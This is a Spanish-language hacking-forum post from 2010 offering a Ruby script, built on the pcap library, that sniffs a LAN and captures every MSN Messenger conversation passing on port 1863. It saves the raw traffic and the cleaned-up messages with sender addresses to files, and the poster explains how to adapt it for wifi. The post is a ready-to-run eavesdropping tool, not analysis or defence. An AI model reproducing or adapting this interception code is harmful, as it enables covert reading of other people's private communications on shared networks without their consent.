MSN Sniff

Iniciado por ANTRAX, Febrero 24, 2010, 04:09:29 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Febrero 24, 2010, 04:09:29 PM Ultima modificación: Julio 31, 2014, 09:46:36 PM por Expermicid

Se trata de un sniffer. Lo pones a correr y captura todas las conversaciones de msn de la red ^^. Está configurado para lan, el que tenga wifi solo tiene que cambiar el parámetro en al hacer el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (no lo voy a dar todo hecho xD). Se utiliza la libreria pcap, necesaria instalacion.

Se crean dos archivos: uno con toda la información que pasa por el MSN (puede ser útil) y otro con las conversaciones limpias.

Código: ruby
#MSN Sniff. Captura las conversaciones de MSN de la red.
#Coded by pRotos.
#[email protected]

require 'pcaplet'
include Pcap

log=File.open('msnlog.txt', 'w')

conv=File.open('conversaciones.txt', 'w')

sniff=Pcaplet.new('-s 1500')
filtro=Pcap::Filter.new('tcp and src port 1863', sniff.capture)
filtro1=Pcap::Filter.new('tcp and dst port 1863', sniff.capture)
sniff.add_filter(filtro|filtro1)
sniff.each_packet {|x|
log.puts x.tcp_data
puts x.tcp_data
if filtro =~ x
if x.tcp_data =~ /X-MMS-IM-Format:\s.*\r\n\r\n(.*)/
mensaje=$1
dir=x.tcp_data.split('SG ')[1].split(' ')[0]
conv.print dir, "=> "
conv.print mensaje, "\n\n"
end

end

if filtro1 =~ x
if x.tcp_data =~ /TypingUser:\s(.*)\r\n/
dir=$1
conv.print dir, "=> "

end
if x.tcp_data =~ /X-MMS-IM-Format:\s.*\r\n\r\n(.*)/

mensaje=$1
conv.print mensaje, "\n\n"
end
end

}